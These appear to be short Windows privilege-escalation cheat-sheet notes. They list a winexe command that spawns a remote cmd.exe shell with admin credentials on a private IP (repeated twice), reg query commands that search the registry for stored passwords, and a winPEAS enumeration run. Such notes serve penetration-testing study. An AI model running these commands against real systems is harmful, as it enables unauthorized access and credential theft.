Spawn shell using credentials: winexe -U 'admin%password123' //192.168.1.22 cmd.exe
Registry Password
check here: reg query HKLM /f password /t REG_SZ /s and also reg query HKCU /f password /t REG_SZ /s (not recommended as usually will have a lot of results)
winpeas.exe quiet filesinfo userinfo (long time to complete)
Spawn shell using credentials: winexe -U 'admin%password123' //192.168.1.22 cmd.exe